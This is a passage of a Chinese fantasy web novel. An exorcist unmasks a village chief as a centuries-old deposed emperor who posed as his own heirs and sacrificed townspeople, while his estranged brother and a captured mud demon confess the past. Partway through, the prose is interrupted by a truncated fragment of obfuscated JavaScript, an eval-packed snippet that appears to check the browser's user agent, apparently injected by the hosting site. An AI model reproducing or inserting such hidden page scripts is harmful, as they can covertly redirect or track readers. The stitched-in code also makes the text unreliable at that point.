支撑他的,是西边地下那颗山菇结成的白色心脏,他离不开那颗心脏,自然不能离开那里,程净竹为他结了个阵法,借阵连接那颗只能存活在那里的心脏,使阿姮能够顺利将他带出来。 但阵法繁复,程净竹每走两百步,便要结一道印,如此才能让离开西边的这个老怪物正常苏醒。 彩绳不知道这些,她顺着这个不知道是什么的家伙的胸膛往上,看到了他那张皮肉松垮的脸。 这一瞬,她瞳孔震颤。 惊恐地后退两步路,却一不小心摔下了石阶。 “彩绳。” 老村长坐在滑竿上,见此,他拧了一下眉头,立即招手让人去将她扶起来,彩绳浑身没力,勉强到了村长身边,她颤着唇,道:“公公,里面,里面……” 屋顶“砰”的一声被冲破,老村长抬起头,随风被吹来的雨水滴在他眼睑,他眼睛微眯了一下,起初看见个黑乎乎的影子,那影子悬在空中,胸口是空的,他一头乱发被风雨给吹开,露出来那一张皱巴巴的脸。 篱笆院里人们惊慌极了,却有人看清那张脸,不由道:“他怎么长得跟村长那么像!” 正如人们所见,那张脸,跟村长长得很像。 阿姮与霖娘在旧镇底下第一眼见过的,并非是这老怪物的本相,他也许憎恨那张脸,所以频繁撕扯过自己的脸皮,看起来扭曲得不像样。 然而出来之前,这老怪物又重新拼凑过自己的脸,恢复自己的本来面貌,而他的本来面貌,竟与这老村长有八分的相似。 “哈哈哈哈哈哈哈哈哈哈!” 那老怪物痛快地淋着雨水:“一百年,一百年啊!我出来了……” 底下滑竿上,老村长在看清那老怪物的一刹那,搭在扶手上的指节便一瞬间紧紧屈起,他眼睑微微颤动。 上下视线倏尔一对。 那老怪物一张脸皮险些撕裂,他怨毒的目光紧锁底下那个与他何其相像的人,厉声道:“席献!你可还认得我这张脸,你可还记得我是谁!” 老村长没有动,也没有说话,那怪物苍老的嘶吼落在他耳畔,却不由自主地转换成一道年轻的,富有朝气的声音: “哥,有山神庙,怎么就不能有土地庙?你说人家好歹是一神仙,没个房子住,还得给我托梦,多穷酸啊,我给他修一个咋了?” “哥,人活得越久,其实越没意思,何必呢?” 一只手忽然抓住他的衣袖,老村长恍惚回神,只见发髻湿透的彩绳就在眼前,他眼皮动了一下。 程净竹强硬地将所有青骨病人身上的骨刺剔除,他手中那道血口子凝住了,他便再割开,如此纵横数道刀痕,鲜血淋漓。 他召出白符,以血撰咒,每一道白符飞入村民的胸膛,刹那化火,游走他们的五脏六腑,灼烧那股青黑之气。 淡淡的莹光飞浮着,被雨水淹没。 程净竹终于停下来,看向那老村长:“两百余年前,闾国大祸,诸侯争权,当初带领流民走入此地的吕员外,名唤无难。” “听说他被战火伤了脸,常戴面具,无人知晓他的模样。” 程净竹召回法绳,银色的法绳回到他腰间,被雨水冲刷得干干净净,他嗓音沉静:“吕无难有一个弟弟,名唤吕正,他们兄弟二人带领流民来到这块世外之地,修建家园,帮扶弱小,不过几年,便有烟火之市,人人安居。” “流民以此兄弟二人为首领,尊敬爱戴,三十年后,吕家两兄弟先后去世,奈何吕无难独子生来羸弱,黑水镇便由儿媳荣氏掌权,再几十年,荣氏的儿子也因遗传其父的先天羸弱而不能理事,所以其妻孙氏代掌首领之权。” 程净竹抬起眼睫,回过头看向彩绳:“正如那日彩绳姑娘在山神洞中所言,至孙氏那时,黑水镇已有万人繁华,可称世外小国,然而世外山中无悬壶之术,当初流民之中有工匠,有农人,有书生,却偏偏缺了会医术的大夫,因此,黑水镇中多的是人疾病缠身,不堪其苦,而其时,有一个叫做柳禄的人不忍此景,凭悲悯之心从无到有,亲尝百草,试药悬壶,颇有所得,黑水镇人也因此对他十分尊敬。” “可黑水镇所在的这片地界,黑山黑水,草木单一,并没有更多更有用的药可用,但人的疾病是等不起的,有些救命的良方他能凭着从前的人从外面带回来的书琢磨清楚,可单有方而无药,等同巧妇难为无米之炊,所以,柳禄做了一个决定,他要离开这里,去外面为乡民寻药。” 程净竹的声音仿佛浸着湿润的雨气:“可柳禄没能走出去,他死在毒瘴里的那日,漫天的毒瘴包裹了整个黑水镇,万人繁华,顷刻覆灭,只有百来人逃了出来,远离被毒瘴遮盖的西边,在如今这片地方落村而居,当初的孙氏没能逃出来,但她同样育有一个儿子,那个儿子也同样继承了吕家病弱的血脉,他娶一妻,代担其责,吕家一直是儿媳理事,直到,一个不那么羸弱的吕姓血脉出生。” “吕献。” 程净竹倏尔看向坐在滑竿上的那位老村长:“我很好奇,你们吕家究竟是怎样的血脉,才会数代单传,全是男子,又生来羸弱多病。” 老村长岿然不动,如入定一般,他甚至没有再看半空中那张与他相似的脸,他的神情沉沉的,眼睛里积压着漆黑的厚云。 “我们吕家是山神的侍者,侍者世代单传,永远为男,身体羸弱,是他们侍奉山神所付出的代价,是因为我公公他们的付出,所以西边的毒瘴才没有蔓延过来,”彩绳眉目锋利地盯着程净竹,“你不过一个外乡人,你懂什么?” “哈哈哈哈哈哈哈哈!” 程净竹还未说话,一道粗哑狂放的笑声率先随天边的雷电砸下,彩绳拧起眉头,她仰头看向那半空中的老怪物,却又不敢细看他那副眉眼。 他笑得够了,阴冷的声音又从齿缝里挤出来:“什么吕氏血脉,什么山神侍者!从吕无难到吕献,从头到尾,每一个人都是他!” “你们这些愚蠢的家伙,到如今你们都还不明白,吕无难的儿子,吕无难的孙子,重孙子,往后数多少辈,其实哪一个都是他自己哈哈哈哈哈哈哈哈哈哈哈哈!” 天边轰隆巨响,雷电劈出一片冷光。 彩绳大睁双目,随即面露愤怒:“你到底是谁?在这里说的什么疯话!” “……我是不是耳朵不好使了,村长是村长,咋可能又是他祖宗了?”那被程净竹强行刮除骨刺,瘫在泥地里的老翁这会儿才回过神便立即被飞在天上的那老怪物的声音给震得耳朵疼。 人们面露呆滞,也十分不理解自己听到的这番话。 “哥哥,”那老怪物在空中笑着俯视底下滑竿上的老村长,“你敢不敢告诉他们我是谁?你敢不敢承认,你就是当初领着流民来到这儿的吕无难?你敢不敢看看我这张脸呢?” 他伸手抚摸自己粗糙的,龟裂的脸皮:“你还记得吗?那时候在闾国皇宫,叛臣作乱,宫门将破,我说我和哥哥长得像,可以留下来拖住他们,哥哥出去了,再求他日复国……可是你不肯,你不肯丢下我,你说,兄弟一起生,一起死。” 底下滑竿上,老村长没有看他,只是垂着眼皮,盯着面前潮湿的雨幕,像一潭激不起任何波澜的死水。 “席献!你为何不抬头!” 空中,那老怪物忽然厉声:“我与你捧山海图与皇宫金银一路逃亡,路遇流民,你我心有不忍,便领着他们一起靠山海图寻得这世外之地,从那以后,世上再无闾国皇帝席献,也无诚王席正!” 雨声淅沥,程净竹看着老村长,道:“闾国无门,则成‘吕’,‘献’字,无‘南’,便成‘犬’。” “吕无难”这个名字,换“难”为“南”,正是席献这个亡国之君给自己的注解——失国失家,丧家之犬。 “奇怪,” 阿姮抱着手臂,看向那空中的席正,“你们本是寻常人类,又如何活得两百余年?” 席正浑身裹满了雨水,他浑浊的眼睛始终看着底下那一个人,道:“当年我们来到这里,发现这里的水黑如墨汁,人喝了会生邪病,席献相信元真夫人六百年前赠山海图给闾国,其中定有深意,我们循山海图来到这里,此地定有无限生机,于是我与席献,还有当时的那些流民们四处探山,终于发现了璧髓。” “但没人知道,除了璧髓,我还发现了一样东西。” “什么东西?” 阿姮好奇地问。 “两颗鸟蛋。” 席正嗓子浸了雨水,更哑了:“就在发现璧髓那神山的峭壁上,鹌鹑蛋那么大,蛋壳漆黑,怪异得很,但我嘴馋,掏了回去,当天晚上就着面条,跟席献一人一颗分了。” “从那以后,什么都变了。” 席正神情少了几分怨毒,多了苦涩:“日子一天天过,但我却发现,我比与我年纪相当的人要老得慢,所有人的身体都在发生变化,只有我和席献十分不明显,我们也再去山上找过那种鸟蛋,但再也没找见过。” “为了不引起大家的过分注意,渐渐的,我不再与人来往,而席献则因为常年戴着面具,也没有人发现他的异样。再过了几十年,席献要我和他假死,也是那一次假死之后,他没多久便开始以新的身份存在,他不再出面,表面由妻子理事,也是那个时候,他开始修建山神庙,开始让人们供奉山神。” “他跟我说,他梦到山神,说是山神看到他们走投无路,才开此世外之门,所以他要为山神修庙,供奉香火。” “后来他不断地换身份,做自己的儿子,又做自己的孙子,而我呢,则听他的话一直藏着自己,没有朋友,没有……心爱的人,只有哥哥席献知道我的存在,”说到这里,席正发出几声讽笑,话锋陡然一转,“直到一百年前,我梦到赵悬磬,一个自称是在天庭摇签子,落到这儿来的穷酸土地神,他让我给他修一个土地庙,我看他实在可怜,就答应了,所以我去求席献给他修一个跟山神庙一样大的土地庙,但席献不肯,他说我的梦是假的。” “怎么他的梦是真的,我的梦,就是假的?” 席正低低地笑:“但我已经答应了赵悬磬,他这个做土地神的在我跟前里子面子都是一穷二白,我这个人却不想在他面前掉我的面子,席献不肯,我就自己偷偷伐木,学木工造土地庙……” 那间土地庙,坐落在一个偏僻的,甚至连阳光都不太多的角落,背对着整个繁华热闹的黑水镇,席正这一辈子,前半生在宫中听太傅的话好好读书,皇兄席献亲自教导他六艺,他也曾是一个无忧无虑的诚王爷。 但小小一间土地庙,几乎快将他彻底打败。 可在那穷酸土地神面前,他到底还是维持住了自己这个人的面子,他在梦中告诉了赵悬磬庙已修好,第二日,在那间逼仄简陋的土地庙里,席正第一次真正见到赵悬磬,赵悬磬一身青衣粗布,身上扛着大包小包,哪里像个仙风道骨的神仙,简直就是个穷酸书生。 席正双手被细布缠了两个大包,脚步却那叫一个虎虎生风,狼狈与得意并存:“怎么样?不错吧?” 赵悬磬放下身上的布包,抬起头看了几圈,竟然感动得眼泛泪光:“席兄,我托梦给你真没托错人!我给你们这儿的其他人托梦,他们都说有山神在呢,我是哪根葱……” “……?” 席正幽幽地说道:“你原来不是说我根骨不凡,一看就是诚信之人,所以谁都没选,就选的我么?” 庙中一静,赵悬磬干巴巴的“哈哈”了两声,含含糊糊道:“哎呀席兄,事实证明我就是没看错人嘛,席兄你诚实守信,为我造了这么大……呃,这么温馨一个土地庙,我真是十分感动!” 说着,他抬头看向那正中的神像:“就是吧,席兄,我本相真没到老头的地步……” 那泥捏的神像慈眉善目,俨然一个拄着拐的老翁模样。 席正看着他:“你本相什么样?” “你此时所见,便是我的本相了。” 赵悬磬笑笑。 席正好多年没有朋友了,他修土地庙是自己一个人,捏神像也是自己一个人,但赵悬磬这个土地神住进来后,土地庙就成了他常待的地方。 黑水镇的香火都是山神的,只有席正每天给赵悬磬点一支香,但这并不能让他与天庭相通,因为这里,处在三界之外。 但赵悬磬一点也不苦恼,他平和地生活在这里,甚至喜欢上镇中一个无父无母的孤女,他们成亲时,只有席正喝了他们的喜酒。 那真是一段很不孤独的日子。 “席献知道土地的存在,他总是警告我不许去土地庙,我不知道为什么,我觉得他变了,但又什么都说不上来,直到那天,”席正低头回想,“席献让我离开黑水镇,去神山上面,但我出去的时候听说柳禄死了,死在我们曾经逃到这儿来的渡口,我回去找席献,却意外发现了他的秘密。” 说到这里,他抬起头去看底下那些被雨水浇透的村民们:“你们以为席献让你们去挖璧髓,真是为了供奉山神?你们错了!席献是为了从璧髓中获取非人的力量,所以才让你们去那所谓的神山挖掘璧髓!” 人们的神情懵懂又迷茫,令席正声声发笑。 但他很快收敛起笑声,神情变得很沉很沉:“我永远记得那天,哥哥,你也记得吗?当我发现你杀人,发现你用璧髓抽取他们的魂魄,你掐着我的脖子,说想挖了我的眼睛。” 那不是凶狠的一句话,而是当一切真相暴露在他这个亲弟弟眼前时,席献作为兄长的羞愧与无措。 “我知道了你酝酿很多年的计划,你怕我去找赵悬磬,你让人绑着我走,可我半道上还是逃脱了,我跑了回去!” 席正越说越激动,他死死地盯着底下那个从头到尾都没有反应的人,仿佛胸口没有心脏的不应该是他,而是底下那个人:“我回去了,可你已经走了!你走了……我看见那么多的镇民在镇子里,浓烈的毒瘴不知道从哪儿来,紧紧地包裹住我们所有人……席献,我问你,当你发现,我还在里面的时候,你在做什么呢?” 席正说着,眼睑颤动,红透了:“你在截杀赵悬磬,是不是?” 门内,赵世义在听见席正话音方落,他额头青筋立时鼓起,一双眼睛盯住滑竿上的那老村长,胸膛不断起伏,肋下生出的骨刺突然断裂。 雨雾更浓,彩绳湿润的脸煞白得不像话,良久,她似乎听见公公深吸了一口气,随后那道苍老的,低沉的声音响起:“原来他叫赵悬磬……我本还奇怪,那茯苓一个孤女,当初逃出镇子来,又没成亲,是如何有的身孕。” 村人都知道,老村长口中的茯苓,便是赵世义的亲娘。 谁都记得茯苓,是因为当初逃出镇子的人们在镇外几里地发现了昏迷的她,她当时才将将二十岁,也一直没有成亲,但在数年后,忽然就有了身孕。 村中早传遍了有关于她的风言风语,猜测着是谁偷着玷污了她,又或者是她与有妇之夫不清不楚。 但茯苓始终沉默。 她生下两个孩子,一个取名赵世义,另一个叫做赵世勇,但她并不姓赵,村中不是没有姓赵的,当时那些人家中好一阵鸡飞狗跳,还有人跑到茯苓家门口骂她不守妇道。 茯苓不理,她养大孩子,然后在一个清风明月夜悄然离世。 “是你,原来是你……” 赵世义胸口剧烈起伏,他眼中迸发血丝,目眦欲裂:“秋雁!扶我起来,扶我起来!” 林秋雁立即将赵世义扶着站起来,不同于篱笆院中那些青骨病人的诡异惨状,他胸口迟迟没有骨刺生出来,也能勉强站住。 他踉跄到那神龛前,目光触及香案上破碎的山神像,他愤怒地一掌将香案打翻,随后将那神龛打落在地。 神龛摔个粉碎,而墙上却裸露出一个墙洞,那是被人精心掏过的,修整得四四方方,里面摆着香炉,香炉后,是一个浑身彩绘的神像。 那是一个慈眉善目的,拄着拐的长胡子老翁。 赵世义将那神像捧出来,面向门外,雷声隐隐,他眼眶红透,声音颤抖:“我娘二十岁与我爹分别,近四十岁生下我,我姓赵,赵悬磬的赵!” 地仙清气,经年为人胎。 霖娘终于明白,为什么小时候她问起爷爷是谁,爹总是不说话。 她泪眼朦胧,看见娘站在爹身边抹泪,原来娘也知道。 “老赵……”平日与赵世义交好的猎户只觉得他似乎变得有些陌生,不再像往日里那个寡言的柴夫,他在怀中抱的那个神像,仿佛支撑起他全部的脊梁,他用愤怒的目光望着村长,那是积压多年,埋藏心底的仇恨。 “赵悬磬……没听说过啊,土地……又是个什么神哪?” 有村人疑惑出声。 “村长……村长怎么可能活两百多年呢?吕家几代人下来,那模样都不一样,我们家中几辈人不都见过么?怎么可能是一个人呢!” “是啊,从前家中老人都说,当初是山神可怜我们,将这福地赐给了我们,所以吕员外才修建山神庙,供奉山神的,璧髓,也是山神的宝物,我们用它净了水,自然要将它还给山神!” “山神大人于我们有恩,吕家同样于我们有恩,若没有吕家,我们只怕早就死了,不说从前的吕员外,便是如今这位老村长,他儿子吕瑞那当初也起了要出去的心思,没出去成,也死在毒瘴里了,也因为他儿子的缘故,老村长也患了青骨病……他怎么可能是当初的吕员外呢!” 哪怕听见老村长说出这番意味不明的话,村人仍旧难以相信,他们面前这位德高望重的老村长吕献,根本就是活了两百余年的吕无难。 “也许彩绳姑娘比你们更清楚。” 程净竹淡淡一声,他随即看向站在那滑竿边上,脸色惨白的彩绳:“我记得那日山神洞中,彩绳姑娘你亲口说过,所有背叛山神的人,都活该,可我今日想问,这其中,可包括你的丈夫吕瑞?” 彩绳顷刻像是被刺了一下,她抬起脸看着程净竹,呼吸急促了点:“你什么意思?” 程净竹与她相视:“所有人都知道彩绳姑娘是山神最忠心的信徒,那么你的丈夫背叛了山神,你可恨他?” “恨。” 彩绳的手绞紧了衣角。 程净竹神情平淡,彩绳却一下避开他的目光,猛然被一道金光晃眼,她视线花了一瞬,再定睛,却看见滑竿的篷顶之下,端坐其间的公公的脖颈处出现数道不那么清晰的影子,那是好几个脑袋,连接着他的脖颈,每一个脑袋,都是一张不同的脸,他们都睁着漆黑的眼,披头散发。 彩绳看见当中最年轻的那一张脸,她认出那熟悉的五官,立即瞳孔巨震,立即尖叫起来。 人们也惊声大叫起来。 “那,那不是吕家过世了一二十年的老太爷么!” 有个年迈的老翁认出当中的一张老脸,那赫然便是如今这位村长吕献的父亲。 “吕瑞!村长的儿子吕瑞啊!” 还有人认出那唯一一张年轻的脸。 他们当中若有从两百多年前一直活到现在的,便会发现,那每一张脸,都是吕家单传的血脉,黑水镇的首领,黑水村的村长。 阿姮看见程净竹手中那一面小小的宝镜,那镜中发出的金光正照在村长身上,映照出村长一个脖子上那几个脑袋的影子。 “他为什么有这么多脑袋?” 阿姮好奇地跑进雨里,到程净竹身边。 “若我猜的不错,他兄弟二人曾吃下的鸟蛋,应该是九头鸷。” 程净竹道。 “什么是九头鸷?”阿姮问。 “天生九首,弯喙如钩,毛发如兽,天生乘风御火,是坍鸿时期,天衣人的图腾,也是他们的坐骑,坍鸿之后,天衣不复,九头鸷亦绝迹天地。” 程净竹说道:“凡人吃下九头鸷的鸟蛋,也算是一种机缘,虽不至于不老不死,但却比常人衰老得要慢,活得也更长。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苍老的声音交叠着记忆里那道年轻而沉稳的声音齐齐锥刺彩绳的耳膜,她回过神来,又看见那人肩上几个脑袋,她尖声反驳:“不!你不是!你不是!” “席献,你恶不恶心哪?你可以长几个新的,年轻的头颅,可你那么多个妻子,却只有你这一副身体来受用,晚上一个被窝里睡,是不是只有吹了灯,才能藏得住你那身老树皮啊?哈哈哈哈哈哈哈……” 半空中,席正恶毒地嘲笑。 但彩绳却被迫回想起曾与吕瑞夫妻相亲的那几年,她难以控制地干呕起来。 老村长看着这一幕,他的神情逐渐变得淡然,慢吞吞地收回手,半晌,开口:“阿正。” 空中,席正脸皮微僵。 风雨如晦,老村长抬头看他:“为兄早就与你说过,你我至亲兄弟,你该信我,也该听我的话,可你让我很失望,你从一开始便瞒我,你瞒着我修建土地庙,不肯向我透露一丁点那土地的事,这么多年来,我竟不知,他居然还有骨血在世。” “不过,” 老村长,不,或许应该称他为席献,席献忽然话锋一转,“这到底也算一件好事。” 席献脸上浮出一分笑意,肩上另外那几个脑袋也都跟着露出笑容,大雨如瀑,那躺在泥泞里的老翁忽然又开始怪叫起来。 阿姮循声看去,只见那老翁干瘪的腿肚中又一只白骨爪子破开皮肉钻了出来,像一只寄生在他身体里的畸形怪物,一撕开个破口,便叫嚣着要将森白的四肢都破开血肉皮囊钻出来。 这老翁仅仅只是一个开始,那些才被程净竹刮去骨刺的人也开始接二连三地长出新的骨刺,他们在泥地里翻滚,血混着雨,淌了一地。 程净竹手掌在法绳上一擦,掌心的伤口顿时血流如注,他握刀为人除刺,鲜血如滴,那席献却在此时一抬手,站在雨中许久不动的云童忽然袭向阿姮,程净竹侧过脸,法绳飞出,绕住阿姮腰身,将她拉来身后。 正是此时,席献袖中几点污泥陡然剥落,化入雨中,迅雷不及掩耳之势冲向屋檐底下,林秋雁陡见冷雨如箭迎面而来,她想也不想立即抱紧丈夫:“老赵!” 但那冷雨滔滔扑来满脸之际,几点污泥浸入她后背衣料,瞬如利刺,林秋雁浑身一凛,瞪大双目。 赵世义后知后觉,低下头去,只见妻子胸口一个血洞,那血洞正对着他胸口,也有一个血洞,他感受到有一道声音从他的血肉里振动着,兴奋地顺着他的耳孔传出:“哈哈哈哈哈哈哈得不到小的那副皮囊,老的这副也将就!有了这身皮囊,我终于能出去了,终于能出去了!” “娘!爹!” 霖娘受制漂浮在阿姮身边,回头只见这一幕,失声叫喊。 “秋,秋雁……?” 赵世义手脚不受控地推开倒在自己身上的林秋雁,见她倒在地上,血流了一地,一动不动,他想去扶,却是不能,低头只见自己胸口的血洞团成了一团污泥,不流血了,他的眼睛一瞬浑浊,又是那道急躁的声音:“心脏,心脏在哪儿呢?啊,竟然长在右边……” 赵世义感觉到自己这身血肉里,似乎有一只手,正往他右边的胸腔里探去,剧痛之中,赵世义踉跄几步,一手抓住门框,另一只手猛地掏进胸口的血洞中,淤泥不断地往下淌。 村人们吓坏了,惊声尖叫。 程净竹神色一凛,那泥妖竟尚存一息。 他才召出白符,那赵世义却将手往里掏得更狠,霖娘一声声哭着喊“爹”,可他听不到,他看着程净竹掌中的血滴下去,化在村人被除了骨刺的伤口中,皮肤青黑的颜色转瞬变淡,口中忽然涌出血来,赵世义看着被程净竹护在身后的阿姮,声音又哑又低:“霖娘,离开……离开这里,乖,乖女……” 白符飞来赵世义身上,但他却倒了下去,胸口的淤泥被鲜红的血冲淡,他双目呆滞,额头抵住妻子秋雁的额头,念念道:“五方山下,得……成我道,今消此身,福……我下民。” “爹……” 霖娘惊恐地望着他。 “今消此身,福我下民……” 但赵世义听不见她的声音,他不断地念着,闭起了眼睛。 下一刻,他的身体渐渐变得透明,霖娘撕心裂肺地喊:“爹!” 很快,他的躯体化为了风,自檐下四散,吹斜雨幕,吹拂过那些身患青骨病,神情痛苦的村人身上,柔和极了。 淡淡的莹光落在他们身上。 他们忽然觉得,竟然不那么痛了,蠢蠢欲动要冲破胸膛的骨刺,也安静了。 程净竹凝视那张原本落在赵世义身上的白符,白符卷着身躯,飞回他掌中,他低眸,只见符纸中紧裹着一点淤泥,它在其中挣扎着,隐约显露一个人的形状。 阿姮也感受到那股清风,它无声地吹开雨水,轻柔地拂过她的脸庞,她微微一怔,下意识伸手触摸脸颊:“他呢?” “他方才所念,乃消身咒。”程净竹说道。 “什么是消身咒?” “土地守一方水土,护一方子民,消身咒,是地仙为救子民出苦厄,消解自身全部道行以福泽下民之法。” 作为地仙血脉,赵世义虽无神力,亦无道行,却也可用此咒消解一身血脉,竭力福泽生民。 程净竹双指隔着符纸猛然捏住那胡乱挣扎的泥人,那泥人痛叫一声,立即发出呼喊:“吕献!救我!” 滑竿上,席献闻声,却未动,只看向程净竹手中的白符。 泥人在其中化了身体,企图从符纸缝中飞出去泥点子,哪怕一点泥溅出去,它便能重获自由,但符纸却紧紧粘住边角,一点缝隙不留,他无论如何出不去,便冷声道:“吕献,你别忘了,若不是我,你也不会知道赵家这两副好皮囊的的用处,我们不是说好了么?老的归我,霖娘归你。” 彩绳瘫坐在泥地里,呆滞的目光触及程净竹手中颤动的符纸,那符纸沾雨不湿,却透出里面的淤泥颜色来,她想起方才在家中见过公公的衣袖,而此时,她再看老村长的衣袖,那上面果真一点污泥也没有了。 她看到公公那只触碰过她的手,浑身的汗毛即刻倒竖,再度弯身呕吐。 “是,我们说好的。” 老村长,不,应该是席献,他终于出声了,嗓音裹着沉沉的暮气,松弛的眼皮抬起来,看着正浑身发抖,控制不住干呕的彩绳,他苍老的脸上没有任何表情,但肩上那颗年轻头颅的影子却神情哀哀地凝望彩绳。 “赵世义是你的,我没碰,可你也到底没什么本事留住他的皮囊。” 席献布满褶皱的脸上露出一分惋惜的神情,却淡淡道:“这是你自己的造化。” “好啊席献……” 白符里,泥妖冷笑一声:“你们人类真是狡诈又恶心。” 程净竹指节用力,泥妖立即散了中气,他身体散碎,在符纸中成了湿冷的一团淤泥,程净竹问道:“你是何时发现赵家的不寻常?” 尘泥本是死物,不该开识化身,但那颗来历不明的宝珠不知是何时沉在水底淤泥中的,包裹住它的淤泥经年借气,这才开了识,成其妖身。 他起初并不服软,多亏他是泥身,又得那宝珠日久,即便失去了真身与宝珠,也凭着旧日借宝珠炼化的真气而保得一小小分身,他本想借席献取得赵世义的一副皮囊离开此地,再图他日从头修炼,哪知赵世义竟甘愿以消身咒化去自身,使他竹篮打水一场空。 他真身本就是被程净竹所收,这白符亦是一张密不透风的网,他感受到真身在被这少年修士的法器灼烧着,一时痛苦不堪,那熊熊烈火仿佛在这符纸内也烤干了他泥中的水分,他成了一团干泥,他像一只被捕兽夹扎穿四肢的野兽,动也难动,难驯的野性被撕碎,他只得难堪地哀鸣:“我……本生在毒瘴笼罩的河道里,因得一宝物才有了灵智,起初我并不能成形,黑水村中的人不知道我,可我却知道他们许多事。” “当初,我亲眼看见一个年轻男人和一个少年结伴出去,可那毒瘴似乎生有一双锐利的眼,发现他们,缠着他们,这样的事,我并不是第一回见,本也无甚稀奇,我看他们两个躺在筏子上一动不动,看起来像是死了,我以为他们会像之前那些想要出去的人一样,碰到毒瘴的边界,然后烂在水里,可是……” 泥妖的声音忽然一沉:“可是他们漂出去了!” 他在符纸里不成形状,但淅沥的雨难掩他声音中那份近乎狂热的憧憬:“那日,我看到筏子上,那个年长的男人早就没有动静了,可他身上却裹覆一层霞光,然后毒瘴便被那霞光破开一口子,破口外面,是更为绮丽的云彩,那筏子明明没有桨,甚至没有风,但他们漂得很远,我很拼命地追赶他们,我确信我已经够快了,可等我过去,那道破口已经不复存在,毒瘴还是那么浓,那么厚。” 泥妖的声音阴冷极了:“后来我能成形,便在村中偷听偷看,日久,我便知道了当日那二人,一个姓赵,叫赵世勇,而那少年,叫做柳行云。” “赵世勇可以穿过毒瘴,那我想赵世义,赵霖娘自然也可以,”泥妖徐徐说道,“可这村中从无生人,我一露面必然惹人警醒,所以我才化成柳行云的模样,骗出赵霖娘,想要夺走她的皮囊。” “可没想到却被……” 泥妖的声音忽然变得更加阴狠,但他话还没说完,身体猛然碎成了渣,声音也被就此掐断。 程净竹垂眸,看着覆在自己手背的那只手,纤细,苍白,他感受到她的掌心湿润又冰冷,她的手指屈起来,仍维持着那个将符纸中泥人捏碎的动作,湿润的浅发贴在她颊边,她抬起那双漆黑的,水盈盈的眼,对他一笑。 明明她的父母才惨死在檐下,父亲甚至血肉消散还于天地,但她却还在笑,灿烂到令人毛骨悚然。 天色忽然变得更暗,这时,有村人惊恐地望着天边:“毒瘴……毒瘴来了!” 一时间,所有人都仰起头,果然见天边浓烈的瘴气如波涛无声,滚滚而来,村人惊叫着,连忙往院子外跑。 可连绵的瘴气从四面八方越逼越近,他们才到篱笆外,便被逼得又退了回来,那些才被刮除骨刺,根本没有力气动弹的青骨病人更加只能躺在泥地里,惊惧地看着瘴气吞没一寸又一寸的山水。 人声渐杂,惨惨哀哀。 “席献!你做了什么?”席正观此情形,又看向底下那白发苍苍的老翁,他肩上被程净竹的宝镜照出的那几个头颅的影子已经淡得看不见了,他又变得与平日里那个德高望重的老村长一般无二。 但忽然,席献从滑竿上站了起来。 他走出来,那几步十分利落,根本不像从前那样颤颤巍巍,难以支撑的模样,所有村人一边恐惧,一边惊讶,只有彩绳神情木然。 她一直都知道,公公的腿脚没有任何问题,因为她的夫君席瑞根本不是因背叛山神而死,而是肺痨。 为了让村人不敢轻易冒犯山神,不再自掘死路,公公说,要让村人相信,即便是他这个山神侍者,也会因为儿子犯错而受到惩罚。 公公根本没有青骨病,他是装的。 而她对夫君席瑞的恨,也是装的。 晶莹的雨滴落地,化为漆黑的水,此时没有了滑竿篷顶的遮挡,席献终于看到半空中那个被如丝的金色法线穿连的人的全貌。 那已经不能算是一个人了。 他脸皮像开裂的墙皮,胸口是一个黑乎乎的洞,身上无数菌丝从里到外附着他的身体,缝合他的骨骼。 席献眼皮颤动了一下:“阿正。” 他发出长长的叹息:“你当初……为什么不听我的话,为什么不肯听我的话呢?” 席正则发出低低的笑声,半含悲凉,半含讥讽:“你只会让我听你的话,我让你回头,你从来不听。” “回头?” 席献看着他:“阿正,你还是不明白,从一开始你我捧着山海图逃出皇宫,走的便是一条不能回头的路,我来到这里,从来都是为了离开这里。” “无论过去多少年,我仍不敢忘我席氏皇族当初所受屈辱,那些乱臣贼子,至今,每一人我都记得清清楚楚,”席献的神情变得异常冷漠,“山海图是仙人赠给我闾国的宝物,当年太宗皇帝参不透它,抱憾终生,往后历任君王亦无一人参透它,那是他们无能,我凭山海图找到此地,便是我的天命,是闾国不该亡的天命,阿正,我绝不做亡国之君。” “可你已经是了!” 席正难以忍受,吼道:“几百年了,莫说闾国,如今已不知几朝过去了,也许,外面已没几个人记得什么闾国了!” “……连我,”席正面上浮出一分沉痛,“连我也快忘了!” “外面过去几朝又如何?” 席献身上有一种沉淀了两百来年的平静,他没有波澜,便显得尤其残忍:“你不知道璧髓的妙处,这么多年来,我一直在试,一直在炼,可惜璧髓中的力量太巨大,那不是常人可以忍受的,若不是当初与你分食了那鸟蛋,我也不会有今日的造化,我如今既已有非人之力,又何必管外面如今是哪朝哪代,只要我出去了,就一定能光复我闾国,到那时,我便会将那些乱臣贼子的后代一个一个地揪出来,杀干杀净。” “我从不知道,你心中竟然藏着这么深的执念……”席正缓缓摇头,看着他,像是在看一个陌生人,“旧镇万人性命,都成了你获得更多力量的祭品,席献,他们是闾国流民的后代,是你的子民!” “要成其大事,有些牺牲,是必要的。” 席献手指动了动,四方毒瘴则愈浓,他抬起下颌:“璧髓里的力量虽强,但却不知为何化不了这里的毒瘴,我花了很长的时间,才勉强可以驱策部分瘴气,我本以为,我要完全掌握了这些瘴气才可以出得去,却不曾想,原来那把钥匙……” 他忽然看向阿姮:“一直近在眼前。” 此时,程净竹一掌将阿姮推出去,随后银白的法绳落入他手中,那席献看见他握住法绳的那只掌中血痕交错,漫天的雨湿透他的衣衫,他的鬓发,席献笑道:“仙长说到底还是肉体凡胎,而今为了这些人受了伤,金身暂破,可要小心了。” 他话音方落,四方瘴气奔涌而来。 程净竹袖中白符飞出,他在血肉模糊的掌中一握,白符顿时烧尽,迸溅开一圈火星子化为金光将所有村人笼罩其间。 毒瘴弥漫,四周雾蒙蒙的。 阿姮站在村人当中,隔一道淡金光幕,她看见那少年修士背对众人,与席献相峙,村人发现毒瘴没能越过光罩袭来,有人好久才捡回自己的声音:“村长……他方才说什么?” “旧镇万人性命,是他……?” “那这么说,我祖父祖母当初没逃出来,是他……害的?” 天边的雷电,像是劈进了村人的脑子里,他们浑身战栗,有人颤颤道:“那山神呢?不是山神大人……” “这里从来就没有什么山神。” 